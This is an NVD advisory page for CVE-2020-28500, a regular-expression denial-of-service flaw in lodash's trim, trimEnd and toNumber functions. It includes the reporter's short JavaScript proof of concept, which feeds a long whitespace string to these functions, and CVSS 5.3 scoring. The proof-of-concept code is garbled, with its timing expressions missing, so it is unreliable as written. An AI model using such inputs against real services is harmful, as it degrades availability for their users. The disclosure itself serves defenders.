CVE-2020-28500 Detail

Current Description

All versions of package lodash; all versions of package org.fujion.webjars:lodash are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions. Steps to reproduce (provided by reporter Liyuan Chen): var lo = require('lodash'); function build_blank (n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 =; lo.trim(s) var time_cost0 = - time0; console.log("time_cost0: " + time_cost0) var time1 =; lo.toNumber(s) var time_cost1 = - time1; console.log("time_cost1: " + time_cost1) var time2 =; lo.trimEnd(s) var time_cost2 = - time2; console.log("time_cost2: " + time_cost2)

View Analysis Description


CVSS 3.x Severity and Metrics:

NIST CVSS score matches with CNA score
CNA:  Snyk
Base Score:  5.3 MEDIUM
Vector:  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

NVD Analysts use publicly available information to associate vector strings and CVSS scores. We also display any CVSS information provided within the CVE List from the CNA.

Note: The NVD and the CNA have provided the same score. When this occurs only the CNA information is displayed, but the Acceptance Level icon for the CNA is given a checkmark to signify NVD concurrence.

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Weakness Enumeration

CWE-ID CWE Name Source
NVD-CWE-Other Other cwe source acceptance level NIST  

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Change History

3 change records found show changes

Quick Info

CVE Dictionary Entry:
NVD Published Date:
NVD Last Modified: